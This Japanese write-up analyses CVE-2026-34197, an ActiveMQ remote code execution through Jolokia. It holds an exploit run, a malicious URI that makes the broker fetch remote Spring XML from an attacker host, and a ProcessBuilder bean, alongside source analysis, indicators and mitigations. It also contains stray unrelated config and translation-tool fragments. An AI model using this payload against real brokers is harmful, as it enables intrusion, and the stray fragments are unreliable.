
CVE-2026-34197の概念実証エクスプロイトで、Jolokia JMX-HTTPブリッジとSpring XML beanインジェクションを介したApache ActiveMQにおける認証済みリモートコード実行を実証します。
説明
Apache ActiveMQ Broker および Apache ActiveMQ における、不適切な入力検証、コード生成の制御の不備(コードインジェクション)の脆弱性。Apache ActiveMQ Classic は、Web コンソール上で Jolokia JMX-HTTP ブリッジを /api/jolokia/ に公開しています。デフォルトの Jolokia アクセスポリシーは、BrokerService.addNetworkConnector(String) や BrokerService.addConnector(String) を含む、すべての ActiveMQ MBean (org.apache.activemq:*) に対する exec 操作を許可しています。認証された攻撃者は、VM トランスポートの brokerConfig パラメータが ResourceXmlApplicationContext を使用してリモートの Spring XML アプリケーションコンテキストをロードするように仕組まれた discovery URI を使って、これらの操作を呼び出すことができます。Spring の ResourceXmlApplicationContext は、BrokerService が設定を検証する前にすべてのシングルトンビーンをインスタンス化するため、Runtime.exec() などの Bean ファクトリメソッドを介してブローカーの JVM 上で任意のコードが実行されます。この問題は、Apache ActiveMQ Broker: 5.19.4 未満、6.0.0 から 6.2.3 未満、Apache ActiveMQ All: 5.19.4 未満、6.0.0 から 6.2.3 未満、Apache ActiveMQ: 5.19.4 未満、6.0.0 から 6.2.3 未満に影響します。ユーザーは、この問題を修正したバージョン 5.19.4 または 6.2.3 にアップグレードすることを推奨します。
詳細はこちら: リンク
Github: リンク```bash ❯ docker compose up -d
入力:```bash
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
LHOSTはコンピュータのプライベートIPです。Windowsではipconfig、Linuxではifconfigを使用できます。
RCEの確認```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> RCEが成功し、ターゲットシステム上にファイル`blahblah.txt`が作成されました。
# 分析フェーズ
## 動的解析```bash
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
ランタイムログはまた、Jolokiaが有効であり、ActiveMQ Webコンソールを通じて公開されていることを確認しました:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
接続を確認する```bash
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
これは次のことを意味します:
ログを読むには```bash docker logs activemq-vuln > activemq-rce.log
次に、クリーンチェーンをgrepで検索します。```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)
ペイロード送信後```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
この行は、攻撃者が制御するURIが次の方法で供給されることを確認するため、重要です:```java
BrokerView.addNetworkConnector(String)
サニタイズされずにVMトランスポート層に到達しました。
悪用時に使用された悪意のあるURIは次のとおりです:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
このURIには、2つの重要な部分が含まれています:
| コンポーネント | 目的 |
| ---------------------- | ------------------------------------------------------------ |
| `static:(...)` | ActiveMQ ディスカバリコネクタで使用されるラッパー |
| `vm://evil?...` | ActiveMQ が内部で処理するVMトランスポートURI |
`static:(...)` ラッパー自体は脆弱なコンポーネントではありません。その目的は、囲まれたトランスポートURIをActiveMQのネットワークコネクタサブシステムに渡すことです。
ランタイム実行中、ActiveMQは内部のVMトランスポートURIを抽出して処理しました:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
この動作は、ランタイムログで確認されました:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
`brokerConfig=` パラメータがペイロードの重要な部分です。これはVMトランスポート層に対し、以下の場所から読み込まれた外部Spring xbean構成を使用してブローカーインスタンスを動的に作成するよう指示しました。```text
http://192.168.1.32:9999/evil.xml
xbean: プレフィックスにより、ActiveMQ が Spring の XML アプリケーションコンテキストローダーに処理を委任するようになりました:```text
org.apache.xbean.spring.context.ResourceXmlApplicationContext
その結果、リモートのXMLドキュメントが解析され、ブローカーのJVM内でSpringアプリケーションコンテキストとしてインスタンス化されました。悪意のあるXMLには、以下のSpring Beanが含まれていました。```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
このBean定義は、Springに、アプリケーションコンテキストの初期化中にProcessBuilderオブジェクトをインスタンス化し、そのstart()メソッドを直ちに呼び出すよう指示しました。
このエクスプロイトは以下のコマンドを使用しました:```bash touch /tmp/blahblah.txt
Springはコンテキスト初期化中にシングルトンビーンを即座にインスタンス化するため、ActiveMQがブローカー設定自体が安全か有効かを検証する前に、`ProcessBuilder.start()`メソッドが実行されました。
これにより、ターゲットコンテナ上で任意のコマンド実行が可能になりました。
このエクスプロイトは、ActiveMQコンテナ内の`/tmp`ディレクトリを確認することで検証されました:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
ファイルのメタデータにより、コマンド実行が成功したことがさらに確認されました。```bash ❯ docker exec activemq-vuln stat /tmp/blahblah.txt
File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35
これは、ActiveMQコンテナコンテキスト内で任意のOSコマンドが正常に実行されたことを証明しています。
実行時スタックトレースにより、完全な脆弱な実行パスも明らかになりました。```text
BrokerView.addNetworkConnector()
->
VMTransportFactory.doCompositeConnect()
->
BrokerFactory.createBroker()
->
XBeanBrokerFactory.createApplicationContext()
->
ResourceXmlApplicationContext
->
XmlBeanDefinitionReader.loadBeanDefinitions()
->
Spring bean instantiation
->
ProcessBuilder.start()
->
OS command execution
以下のスタックトレースエントリがランタイム分析中に観測されました:```text at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)
動的解析中に最も重要な観察結果の1つは、SpringとActiveMQが悪意のある設定を処理する順序でした。
ペイロードが正常に実行された後、ActiveMQは後で次の警告を生成しました:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml
この動作は次のことを示しています:```text Spring bean instantiation occurred before ActiveMQ validated the broker configuration.
ブローカー設定自体は最終的に拒否されたものの、悪意のあるSpring Beanはすでにインスタンス化され、実行されていました。
この順序の問題がCVE-2026-34197の核となる論理的欠陥です。
動的解析により、エクスプロイトチェーンに関与する以下のコンポーネントが特定されました:
| コンポーネント | 役割 |
| ----------------------------- | ---------------------------------- |
| Jolokia | HTTPからJMXへのブリッジ |
| BrokerView | 公開された管理MBean |
| VMTransportFactory | `vm://`トランスポートURIを解析する |
| BrokerFactory | ブローカーインスタンスを作成する |
| XBeanBrokerFactory | Spring xbean設定を読み込む |
| ResourceXmlApplicationContext | リモートXMLを読み込む |
| XmlBeanDefinitionReader | Spring Bean定義を解析する |
| Spring BeanFactory | シングルトンBeanをインスタンス化する |
| ProcessBuilder | オペレーティングシステムコマンドを実行する |
動的解析により、CVE-2026-34197は以下の相互作用によって引き起こされることが確認されました:
* 過度に寛容なJolokia管理操作
* 攻撃者によって制御されたトランスポートURI
* VMトランスポートブローカーの自動生成
* Spring xbeanリモート設定の読み込み
* 検証前のシングルトンBeanの即時インスタンス化
その結果、認証された攻撃者は、Jolokiaが公開する`addNetworkConnector()`操作を通じて悪意のある`brokerConfig=xbean:http://...` URIを提供することで、ActiveMQ JVM上で任意のコード実行を達成できます。
### アーキテクチャ概要
Apache ActiveMQ Classicは、Jolokia JMX-HTTPブリッジを通じて管理インターフェースを公開しており、次の場所で利用可能です:```text id="n0vmrq"
/api/jolokia/
JolokiaはHTTP-to-JMXブリッジとして機能し、認証されたユーザーがHTTP経由でリモートからJava Management Extensions (JMX)操作を呼び出すことを許可します。
分析中に特定された脆弱なアーキテクチャパスを以下に示します:```text id="yavj0f" HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution
以下のコンポーネントがエクスプロイトチェーンに関与していました:
| コンポーネント | 機能 |
| ---------------------- | ---------------------------------------------- |
| Jolokia | HTTP経由でJMX操作を公開する |
| BrokerView | 管理MBeanインターフェース |
| VMTransportFactory | `vm://` トランスポートURIを処理する |
| BrokerFactory | ブローカーを動的に作成する |
| XBeanBrokerFactory | Spring xbean構成をロードする |
| Spring Context Loader | XML Bean定義をパースしてインスタンス化する |
| ProcessBuilder | オペレーティングシステムコマンドを実行する |
ActiveMQが認証済みユーザーに対して、攻撃者が制御するトランスポートURIを使って危険なブローカー管理メソッドを呼び出すことを許可しているため、このアーキテクチャは脆弱になります。
---
### 攻撃面の分析
主な攻撃面は、ActiveMQ Webコンソールを通じて公開されるJolokia HTTPエンドポイントです。```text id="xq7vba"
http://<target>:8161/api/jolokia/
ランタイム分析により、Jolokiaインターフェースがデフォルトで有効であることが確認されました:```text id="y7qz5e" INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
Jolokiaエンドポイントは、HTTP基本認証を使用した認証リクエストを受け入れました:```json id="13tzmx"
"authMode":"basic"
以下の危険な管理操作が公開されました:```java id="pxqv10" BrokerView.addNetworkConnector(String)
このメソッドは、危険なURIスキームや設定パラメータを十分に制限せずに、ユーザー制御のトランスポートURIを受け入れます。
攻撃者は以下のペイロードを提供しました:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
このペイロードは、複数の機能を同時に悪用しました:
したがって、攻撃面には以下が含まれます:
この脆弱性は、ActiveMQ内の複数の信頼されたサブシステム間の相互作用によって引き起こされます。
核心の問題は、認証されたJolokiaユーザーが、攻撃者制御のトランスポートURIを使用して危険なブローカー管理操作を呼び出すことを許可されていることです。
ランタイム分析中に特定された脆弱な実行フローは次のとおりです:```text id="m57h1r" Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation
重要なパラメータは:
---```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml
このパラメータは、VMトランスポートレイヤーに、外部のSpring xbean設定を使用して動的にブローカーを作成するよう指示します。
次のランタイムの証拠が、この動作を確認しました:```text id="74y0rw" INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Springはその後、リモートのXMLを次のようにして読み込みました:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext
悪意のあるXMLには次のものが含まれていました:```xml id="y6jphd"
Springアプリケーションコンテキストの初期化中、シングルトンビーンは即座にインスタンス化されます。その結果、`ProcessBuilder.start()`メソッドが直ちに実行されました。
主な論理上の欠陥は、ActiveMQがブローカー構成自体の安全性や有効性を検証する前に、Springビーンのインスタンス化が発生したことです。
この動作は次のように動的に証明されました。
1. 悪意のあるペイロードが正常に`/tmp/blahblah.txt`を作成しました。
2. ActiveMQは後でブローカー構成を拒否しました。```text id="6k1dwn"
The configuration has no BrokerService instance
これは、ブローカーの検証が完了する前にコード実行が発生したことを示しています。
侵害の可能性がある指標には、ActiveMQの管理操作を対象とした不審なJolokiaリクエストが含まれます。
次のようなリクエストを探します:```text id="c56p2k" addNetworkConnector addConnector
を通じて:```text id="pt2n3d"
/api/jolokia/
以下の URI フラグメントは、エクスプロイト試行の強力な指標です:```text id="n9jlwm" vm:// brokerConfig= xbean: static:(
悪意のあるペイロードの例:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)
ブローカーは攻撃者が管理するインフラストラクチャへの外部接続を開始する可能性があります。```text id="f5g9kx" http://attacker/evil.xml
ブローカJVMからの予期しない送信HTTPトラフィックは調査されるべきです。
#### 疑わしいランタイムログ
以下のランタイムメッセージは疑わしいです:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil
[Options]
#RelyingPartyOriginWhitelist[] = "origin1.example.com" #RelyingPartyOriginWhitelist[] = "origin2.example.com"
#UserIdAttributeInAssertion = "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress"```text id="3q2vls" ResourceXmlApplicationContext
(入力が提供されていません。翻訳するコンテンツを入力として提供してください。)```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions
以下にある予期しないファイル:```text id="6x7qcm" /tmp/
またはActiveMQ JVMからの不審な子プロセス実行は、悪用を示している可能性があります。
---
### 影響分析
悪用に成功すると、ActiveMQ JVMコンテキスト内で認証されたリモートコード実行が可能になります。
分析対象の環境では、コンテナ内で任意のオペレーティングシステムコマンドが正常に実行されました。```bash id="2hyz0w"
touch /tmp/blahblah.txt
結果:```text id="rm2qfd" /tmp/blahblah.txt
ファイルは次のように作成されました:```text id="9phgkz"
Uid: (0/root)
これは、コンテナ内でroot権限でコマンド実行が発生したことを示します。
潜在的な影響には以下が含まれます:
重大度は以下の場合に大幅に増加します:
ActiveMQ Classic を以下のバージョンにアップグレードしてください:```text id="8w0j6k" 5.19.4 or later 6.2.3 or later
#### Jolokia アクセスを制限する
不要であれば Jolokia を無効にします。
Jolokia を有効にしておく必要がある場合:
* 信頼できる管理ネットワークへのアクセスを制限する
* 強力な認証を強制する
* 危険な exec 操作を無効にする
* 厳格な Jolokia アクセスポリシーを適用する
#### デフォルト認証情報を削除する
使用しないでください:```text id="9mw1xv"
admin:admin
ブローカーが任意のアウトバウンドHTTP接続を開始することを防ぎます。
これにより、リモートXML取得の試みが緩和されます。
以下を制限または無効化します:
vm:// トランスポートの使用xbean: 設定読み込み以下を監視します:
/api/jolokia/ へのリクエストaddNetworkConnector の使用brokerConfig= パラメータxbean: URI脆弱なパスは、ActiveMQのWeb/JMX管理層、ブローカーネットワーキング層、VMトランスポート、ブローカーファクトリサブシステム、およびSpring XBean設定読み込みを横断します。
JolokiaはActiveMQ Web APIアプリケーションで有効になっています:```xml
jolokia-agent org.jolokia.http.AgentServlet ... jolokia-agent /jolokia/* ``` ブローカ起動時に、ActiveMQは`BrokerView`をブローカ管理MBeanとして登録します:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java protected void startManagementContext() throws Exception { getManagementContext().setBrokerName(brokerName); getManagementContext().start(); adminView = new BrokerView(this, null); ObjectName objectName = getBrokerObjectName(); AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName); } ``` オブジェクト名は次のように作成されます:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName) throws MalformedObjectNameException { String objectNameStr = jmxDomainName + ":type=Broker,brokerName="; objectNameStr += JMXSupport.encodeObjectNamePart(brokerName); return new ObjectName(objectNameStr); } ``` デフォルトの配布では、これによりブローカーMBeanがHTTPで呼び出し可能なJolokiaターゲットとして公開されます:```text org.apache.activemq:type=Broker,brokerName=localhost ``` 関連するコンポーネントの責任は次の通りです:BrokerView: JMX対応のブローカー管理ファサード。addNetworkConnector(String) と addConnector(String) を公開します。BrokerService: ブローカーのランタイムオブジェクト。文字列のネットワークコネクタアドレスを URI に変換し、DiscoveryNetworkConnector を作成します。DiscoveryNetworkConnector: ディスカバリーエージェントを使用してリモートブローカーのサービスURIを取得し、検出された各URIに接続します。TransportFactory: META-INF/services/org/apache/activemq/transport/<scheme> を使用してURIスキームをトランスポートファクトリに解決します。VMTransportFactory: vm:// トランスポートを処理し、要求されたVMブローカーが存在しない場合に組み込みブローカーを自動的に作成できます。BrokerFactory: META-INF/services/org/apache/activemq/broker/<scheme> を使用してブローカー設定URIスキームを解決します。脆弱性は、管理メソッドが受動的データではないActiveMQ URI言語を受け入れるために存在します。URIが評価されると、ブローカーを作成し、Spring XML設定をロードできます。
脆弱なエントリポイントは次の通りです:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); if (connector == null) { throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress); } brokerService.registerNetworkConnectorMBean(connector); connector.start(); return connector.getName(); }
MBeanインターフェースは、操作を次のように公開します:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;
攻撃者が制御する入力は、Jolokiaのexec引数で、discoveryAddressに渡されます。脆弱なバージョンでは、BrokerView.addNetworkConnector()は、文字列をBrokerServiceに渡す前に、スキームの検証、ネストされたURIの検証、およびトランスポート固有のパラメータのフィルタリングを一切行いません。
BrokerServiceは、その文字列を直接URIに変換します:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception {
return addNetworkConnector(new URI(discoveryAddress));
}
public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception { NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress); return addNetworkConnector(connector); }
コネクタオブジェクトは、ローカルブローカのURIを使って設定され、ブローカに追加されます:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
connector.setBrokerService(this);
connector.setLocalUri(getVmConnectorURI());
...
networkConnectors.add(connector);
return connector;
}
制御は、BrokerViewがコネクタを起動すると、トランスポートサブシステムに到達します。```java
connector.start();
エクスプロイトURIの場合:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
static:(...) は静的ディスカバリーコネクタを作成し、内部の vm://... URI が発見されたリモートサービスになります。
VM トランスポートは次の方法で解決されます:```properties
class=org.apache.activemq.transport.vm.VMTransportFactory
脆弱なメソッドは:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception
このメソッドは vm:// URI を解析し、クエリパラメータを抽出して、brokerConfig をブローカ作成 URI として扱います:```java
host = extractHost(location);
options = URISupport.parseParameters(location);
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
} else {
Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
brokerURI = new URI("broker://()/" + host + "?"
+ URISupport.createQueryString(brokerOptions));
}
`create` オプションのデフォルトは `true` です:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
create = false;
}
要求されたVMホストに対してブローカーが存在しない場合、VMTransportFactoryが作成します:```java
broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
if (broker == null) {
if (!create) {
throw new IOException("Broker named '" + host + "' does not exist.");
}
try {
if (brokerFactoryHandler != null) {
broker = brokerFactoryHandler.createBroker(brokerURI);
} else {
broker = BrokerFactory.createBroker(brokerURI);
}
broker.start();
MDC.put("activemq.broker", broker.getBrokerName());
} catch (URISyntaxException e) {
throw IOExceptionSupport.create(e);
}
BROKERS.put(host, broker);
BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
}
これはトランスポートレベルの権限境界の障害です。管理プレーンを通じて提供されたURIは、VMトランスポートによって任意の構成URIからブローカーを作成する命令として評価されます。
残りのパラメータ検証は、ブローカー作成後に行われます。```java
if (!options.isEmpty()) {
throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;
その検証では、brokerConfig を介したコード実行を防ぐことはできません。なぜなら、brokerConfig はすでに options から削除され、このチェックが実行される前に消費されているからです。
上流の発見パスは次のとおりです:```java // activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java remoteTransport = TransportFactory.connect(connectUri);
For `static:(...)`, `SimpleDiscoveryAgent.start()` は、設定された各サービスを即座に発行します:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
taskRunner = new TaskRunnerFactory();
taskRunner.init();
running.set(true);
for (int i = 0; i < services.length; i++) {
listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
}
}
DiscoveryNetworkConnector.onServiceAdd() は、攻撃者が制御する内部URIに接続します。
Brokerの作成は、以下によって行われます:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java public static BrokerService createBroker(URI brokerURI) throws Exception { return createBroker(brokerURI, false); }
public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception { if (brokerURI.getScheme() == null) { throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI); } BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme()); BrokerService broker = handler.createBroker(brokerURI); if (startBroker) { broker.start(); } return broker; }
ハンドラルックアップはスキームベースです:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
try {
return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
} catch (Throwable e) {
throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
}
}
xbean: URIの場合、サービス記述子はXBeanBrokerFactoryにマッピングされます。```properties
class=org.apache.activemq.xbean.XBeanBrokerFactory
正確な静的呼び出しフロー:```text
BrokerView.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(URI)
-> DiscoveryNetworkConnector.<init>(URI)
-> DiscoveryNetworkConnector.handleStart()
-> SimpleDiscoveryAgent.start()
-> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
-> TransportFactory.connect(URI)
-> VMTransportFactory.doConnect(URI)
-> VMTransportFactory.doCompositeConnect(URI)
-> BrokerFactory.createBroker(URI)
-> BrokerFactory.createBroker(URI, boolean)
-> XBeanBrokerFactory.createBroker(URI)
重要な移行は次のとおりです。```text vm://evil?brokerConfig=xbean:http://attacker/evil.xml
宛先:
宛先:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))
関連するXBeanファクトリは次の通りです:```java // activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java public class XBeanBrokerFactory implements BrokerFactoryHandler
`createBroker()` は、`xbean:` URIのスキーム固有部分を抽出し、それがブローカーを含むかどうかを確認する前に、Springアプリケーションコンテキストを作成します:```java
public BrokerService createBroker(URI config) throws Exception {
String uri = config.getSchemeSpecificPart();
if (uri.lastIndexOf('?') != -1) {
IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
uri = uri.substring(0, uri.lastIndexOf('?'));
}
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
...
}
危険なシンクは createApplicationContext():```java
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri);
LOG.debug("Using " + resource + " from " + uri);
try {
return new ResourceXmlApplicationContext(resource) {
@Override
protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
reader.setValidating(isValidate());
}
};
} catch (FatalBeanException errorToLog) {
